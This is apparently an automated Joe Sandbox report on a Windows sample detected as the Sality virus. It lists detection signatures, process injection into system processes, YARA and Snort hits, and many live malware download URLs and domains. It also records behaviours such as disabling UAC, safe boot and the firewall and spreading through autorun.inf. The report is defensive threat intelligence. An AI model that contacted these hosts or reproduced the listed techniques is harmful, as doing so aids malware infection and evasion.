Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
pXlV6TKi3E.exe

Overview

General Information

Sample Name:pXlV6TKi3E.exe
Original Sample Name:f96ad2108001929ccc0d4244215239f8.exe
Analysis ID:844631
MD5:f96ad2108001929ccc0d4244215239f8
SHA1:7f8d00ccdefe09d92adc1c87df833834123fd49f
SHA256:20ad1e6af5c86cb19ced3387f0a7928d98d5b62537d525d1a63e3ecd4a039bba
Tags:exeSality
Infos:

Detection

Sality
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Yara detected Sality
Antivirus detection for dropped file
Snort IDS alert for network traffic
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for dropped file
PE file has a writeable .text section
Deletes keys which are related to windows safe boot (disables safe mode boot)
Machine Learning detection for sample
Allocates memory in foreign processes
May modify the system service descriptor table (often done to hook functions)
Creates a thread in another existing process (thread injection)
Drops PE files with a suspicious file extension
Writes to foreign memory regions
Disables user account control notifications
Changes security center settings (notifications, updates, antivirus, firewall)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Modifies the windows firewall
Creates autorun.inf (USB autostart)
Disables UAC (registry)
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Modifies existing windows services
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks for available system drives (often done to infect USB drives)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May infect USB drives
PE file contains sections with non-standard names
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Stores large binary data to the registry
Found potential string decryption / allocating functions
Found dropped PE file which has not been started or loaded
Entry point lies outside standard sections
Enables debug privileges
AV process strings found (often used to terminate AV products)
Extensive use of GetProcAddress (often used to hide API calls)
Detected TCP or UDP traffic on non-standard ports
Connects to several IPs in different countries

Classification

Process Tree

  • System is w10x64
  • pXlV6TKi3E.exe (PID: 4600 cmdline: C:\Users\user\Desktop\pXlV6TKi3E.exe MD5: F96AD2108001929CCC0D4244215239F8)
    • fontdrvhost.exe (PID: 696 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
    • fontdrvhost.exe (PID: 704 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
    • dwm.exe (PID: 960 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)
    • svchost.exe (PID: 4424 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • sihost.exe (PID: 2936 cmdline: sihost.exe MD5: 6F84A5C939F9DA91F5946AF4EC6E2503)
    • svchost.exe (PID: 2976 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • svchost.exe (PID: 3004 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup -s WpnUserService MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • ctfmon.exe (PID: 3260 cmdline: ctfmon.exe MD5: D4DAF47FBF707B23B874DE6F139CB0C7)
    • explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
    • dllhost.exe (PID: 3716 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 2528137C6745C4EADD87817A1909677E)
    • ShellExperienceHost.exe (PID: 3908 cmdline: "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca MD5: 94D34E489ACC08D4E36DF96E39561647)
    • SearchUI.exe (PID: 4068 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca MD5: C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2)
    • RuntimeBroker.exe (PID: 3864 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
    • smartscreen.exe (PID: 4100 cmdline: C:\Windows\System32\smartscreen.exe -Embedding MD5: ECD6F6120A4A1903508D24F9B1F10505)
    • RuntimeBroker.exe (PID: 4332 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
    • HxTsr.exe (PID: 4456 cmdline: "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe" -ServerName:Hx.IPC.Server MD5: F6A51F7C21A81C1BA24182E76413BE17)
    • RuntimeBroker.exe (PID: 4480 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
    • RuntimeBroker.exe (PID: 4592 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
    • dllhost.exe (PID: 3180 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 2528137C6745C4EADD87817A1909677E)
    • mnIfGXLiqWUjFj.exe (PID: 5448 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5460 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5484 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5496 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5504 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5524 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5532 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5556 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
    • mnIfGXLiqWUjFj.exe (PID: 5564 cmdline: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe MD5: 32B8AD6ECA9094891E792631BAEA9717)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
SalityF-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.InfectionSality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.PayloadOnce installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.
  • Salty Spider
https://malpedia.caad.fkie.fraunhofer.de/details/win.sality

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\kasf.pifSality_Malware_Oct16Detects an unspecififed malware - October 2016Florian Roth (Nextron Systems)
  • 0x210:$s1: Hello world!
  • 0x18:$s2: [LordPE]
C:\kasf.pifINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
  • 0x14:$b1: yrf<[LordPE]
  • 0x210:$b2: Hello world!
C:\Users\user\AppData\Local\Temp\winrhlyw.exeSality_Malware_Oct16Detects an unspecififed malware - October 2016Florian Roth (Nextron Systems)
  • 0x210:$s1: Hello world!
  • 0x18:$s2: [LordPE]
C:\Users\user\AppData\Local\Temp\winrhlyw.exeINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
  • 0x14:$b1: yrf<[LordPE]
  • 0x210:$b2: Hello world!

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_SalityYara detected SalityJoe Security
    Process Memory Space: pXlV6TKi3E.exe PID: 4600JoeSecurity_SalityYara detected SalityJoe Security

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      0.2.pXlV6TKi3E.exe.2382300.7.raw.unpackSality_Malware_Oct16Detects an unspecififed malware - October 2016Florian Roth (Nextron Systems)
      • 0x210:$s1: Hello world!
      • 0x18:$s2: [LordPE]
      0.2.pXlV6TKi3E.exe.2382300.7.raw.unpackINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
      • 0x1b7c:$s1: Simple Poly Engine v
      • 0x14:$b1: yrf<[LordPE]
      • 0x210:$b2: Hello world!
      0.2.pXlV6TKi3E.exe.7b1890.3.raw.unpackSality_Malware_Oct16Detects an unspecififed malware - October 2016Florian Roth (Nextron Systems)
      • 0x210:$s1: Hello world!
      • 0x18:$s2: [LordPE]
      0.2.pXlV6TKi3E.exe.7b1890.3.raw.unpackINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
      • 0x14:$b1: yrf<[LordPE]
      • 0x210:$b2: Hello world!
      0.2.pXlV6TKi3E.exe.76fbac.4.unpackINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
      • 0x41cf8:$b1: yrf<[LordPE]
      • 0x41ef4:$b2: Hello world!
      Click to see the 3 entries

      Sigma Signatures

      ⊘No Sigma rule has matched

      Snort Signatures

      Timestamp:192.168.2.337.230.104.8949720802804830 04/11/23-14:07:48.006949
      SID:2804830
      Source Port:49720
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549699802804830 04/11/23-14:07:30.652648
      SID:2804830
      Source Port:49699
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549701802804830 04/11/23-14:07:31.836726
      SID:2804830
      Source Port:49701
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:63.251.106.25192.168.2.380497012037771 04/11/23-14:07:32.006592
      SID:2037771
      Source Port:80
      Destination Port:49701
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.191.152.5849698802804830 04/11/23-14:07:29.754464
      SID:2804830
      Source Port:49698
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.378.46.2.15549703802804830 04/11/23-14:07:32.470703
      SID:2804830
      Source Port:49703
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549724802804830 04/11/23-14:07:50.645696
      SID:2804830
      Source Port:49724
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549716802804830 04/11/23-14:07:46.157639
      SID:2804830
      Source Port:49716
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.189.61.12649709802804830 04/11/23-14:07:42.027481
      SID:2804830
      Source Port:49709
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.378.46.2.15549727802804830 04/11/23-14:07:51.529651
      SID:2804830
      Source Port:49727
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549718802804830 04/11/23-14:07:47.245790
      SID:2804830
      Source Port:49718
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.191.152.5849715802804830 04/11/23-14:07:45.241975
      SID:2804830
      Source Port:49715
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549710802804830 04/11/23-14:07:42.394782
      SID:2804830
      Source Port:49710
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.337.230.104.8949728802804830 04/11/23-14:07:51.949311
      SID:2804830
      Source Port:49728
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.189.61.12649717802804830 04/11/23-14:07:46.475492
      SID:2804830
      Source Port:49717
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.337.230.104.8949704802804830 04/11/23-14:07:33.290905
      SID:2804830
      Source Port:49704
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.191.152.5849731802804830 04/11/23-14:07:53.402294
      SID:2804830
      Source Port:49731
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.191.152.5849707802804830 04/11/23-14:07:40.848947
      SID:2804830
      Source Port:49707
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.189.61.12649700802804830 04/11/23-14:07:31.152411
      SID:2804830
      Source Port:49700
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.378.46.2.15549719802804830 04/11/23-14:07:47.552319
      SID:2804830
      Source Port:49719
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.378.46.2.15549711802804830 04/11/23-14:07:42.660250
      SID:2804830
      Source Port:49711
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.189.61.12649725802804830 04/11/23-14:07:50.964219
      SID:2804830
      Source Port:49725
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549732802804830 04/11/23-14:07:55.135799
      SID:2804830
      Source Port:49732
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3206.191.152.5849723802804830 04/11/23-14:07:50.093809
      SID:2804830
      Source Port:49723
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.337.230.104.8949712802804830 04/11/23-14:07:43.210687
      SID:2804830
      Source Port:49712
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549726802804830 04/11/23-14:07:51.294252
      SID:2804830
      Source Port:49726
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.363.251.106.2549708802804830 04/11/23-14:07:41.388921
      SID:2804830
      Source Port:49708
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus detection for URL or domain
      Source: http://ahmediye.net/xs.jpg?6273be3=929110779eAvira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526(0Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?56961d6=181584812x0$sAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=739116750~Avira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpg?44c7885=5048431712Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?7139244=7123388402VAvira URL Cloud: Label: malware
      Source: http://apple-pie.in/images/xs.jpg?2713c6c=819509365Avira URL Cloud: Label: malware
      Source: http://apple-pie.in/images/xs.jpg?416832a=548673872Avira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpg?6273be3=929110779sAvira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpgAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpgAvira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpg?29383b1=259331622Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526h0Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?59f0920=471543200zAvira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?56961d6=181584812Avira URL Cloud: Label: malware
      Source: http://kukutrustnet987.info/home.gifAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?f5fe7c=80607340Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?7139244=712338840~Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?7139244=712338840H64q)Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?7139244=712338840cAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=73911675024Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?3b0704e=495157872Avira URL Cloud: Label: malware
      Source: http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdriversAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?21973d4=70444968iAvira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?37fb479=234803684(7Avira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpg?44c7885=504843171Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?7139244=712338840Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?3b0704e=495157872PAvira URL Cloud: Label: malware
      Source: http://apple-pie.in/images/xs.jpg?5f16d79=498541405Avira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpg?29383b1=259331622ControlAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=739116750$Avira URL Cloud: Label: malware
      Source: http://a3inforservice.com.br/images/logof.gifAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?3b0704e=495157872ZAvira URL Cloud: Label: malware
      Source: http://www.klkjwre9fqwieluoi.info/Avira URL Cloud: Label: malware
      Source: http://kukutrustnet777888.info/DisableTaskMgrSoftwareAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=7391167503Avira URL Cloud: Label: malware
      Source: http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.jAvira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpgAvira URL Cloud: Label: malware
      Source: http://apple-pie.in/images/xs.jpgAvira URL Cloud: Label: malware
      Source: https://ampyazilim.com.tr/images/xs2.jpg?1Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?59f0920=471543200Avira URL Cloud: Label: malware
      Source: http://ahmediye.net/xs.jpg?29383b1=259331622fAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?21973d4=70444968Avira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?7139244=712338840h6Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=739116750cAvira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=739116750rAvira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?37fb479=234803684Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=739116750hAvira URL Cloud: Label: malware
      Source: http://kukutrustnet888.info/home.gifAvira URL Cloud: Label: malware
      Source: http://kukutrustnet777.info/home.gifAvira URL Cloud: Label: malware
      Source: http://www.careerdesk.org/images/xs.jpg?85f4e8=70231872Avira URL Cloud: Label: malware
      Source: http://arthur.niria.biz/xs.jpg?757abcd=739116750tAvira URL Cloud: Label: malware
      Antivirus detection for dropped file
      Source: C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen2
      Source: C:\kasf.pifAvira: detection malicious, Label: W32/Sality.AT
      Source: C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen2
      Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exeAvira: detection malicious, Label: W32/Sality.AT
      Multi AV Scanner detection for submitted file
      Source: pXlV6TKi3E.exeReversingLabs: Detection: 97%
      Antivirus / Scanner detection for submitted sample
      Source: pXlV6TKi3E.exeAvira: detected
      Multi AV Scanner detection for dropped file
      Source: C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exeReversingLabs: Detection: 66%
      Source: C:\Users\user\AppData\Local\Temp\0045C842_Rar\pXlV6TKi3E.exeReversingLabs: Detection: 66%
      Machine Learning detection for sample
      Source: pXlV6TKi3E.exeJoe Sandbox ML: detected
      Machine Learning detection for dropped file
      Source: C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exeJoe Sandbox ML: detected
      Source: C:\kasf.pifJoe Sandbox ML: detected
      Source: C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exeJoe Sandbox ML: detected
      Source: C:\Users\user\AppData\Local\Temp\winrhlyw.exeJoe Sandbox ML: detected
      Source: 0.2.pXlV6TKi3E.exe.23825f4.6.unpackAvira: Label: TR/Killav.ftk
      Source: 0.2.pXlV6TKi3E.exe.7b1890.3.unpackAvira: Label: TR/Patched.Ren.Gen
      Source: 0.2.pXlV6TKi3E.exe.400000.0.unpackAvira: Label: TR/Patched.Ren.Gen
      Source: 0.2.pXlV6TKi3E.exe.76fbac.4.unpackAvira: Label: TR/Patched.Ren.Gen
      Source: 0.2.pXlV6TKi3E.exe.2382300.7.unpackAvira: Label: TR/Patched.Ren.Gen
      Source: 0.0.pXlV6TKi3E.exe.400000.0.unpackAvira: Label: W32/Sality.AT
      Source: pXlV6TKi3E.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
      Source: unknownHTTPS traffic detected: 37.230.104.89:443 -> 192.168.2.3:49705 version: TLS 1.2
      Source: pXlV6TKi3E.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: Binary string: Wyniki.pdb.obj source: SearchUI.exe, 00000014.00000000.402099422.000001CDDD7E0000.00000004.00000001.00020000.00000000.sdmp
      Source: Binary string: C:\Users\Administrator\Desktop\mfc\Release\mfc.pdbX source: pXlV6TKi3E.exe, 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmp
      Source: Binary string: C:\Users\Administrator\Desktop\mfc\Release\mfc.pdb source: pXlV6TKi3E.exe, pXlV6TKi3E.exe, 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmp

      Spreading

      barindex
      Yara detected Sality
      Source: Yara matchFile source: 0.2.pXlV6TKi3E.exe.2300000.8.unpack, type: UNPACKEDPE
      Source: Yara matchFile source: 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: pXlV6TKi3E.exe PID: 4600, type: MEMORYSTR
      Creates autorun.inf (USB autostart)
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile created: C:\autorun.infJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: z:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: y:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: x:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: w:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: v:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: u:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: t:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: s:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: r:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: q:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: p:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: o:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: n:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: m:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: l:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: k:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: j:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: i:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: h:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: f:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: e:Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeFile opened: c:Jump to behavior
      Source: pXlV6TKi3E.exe, 00000000.00000002.567771073.000000000517C000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: [autorun]
      Source: pXlV6TKi3E.exe, 00000000.00000002.567771073.000000000517C000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: {[autorun]
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: [AutoRun]
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: autorun.inf
      Source: pXlV6TKi3E.exe, 00000000.00000002.556904173.0000000002380000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: _kkiuynbvnbrev406C:\hh8geqpHJTkdns0MCIDRV_VERMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)MPRNtQuerySystemInformationSoftware\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache GlobalUserOfflineSoftware\Microsoft\Windows\CurrentVersion\Internet 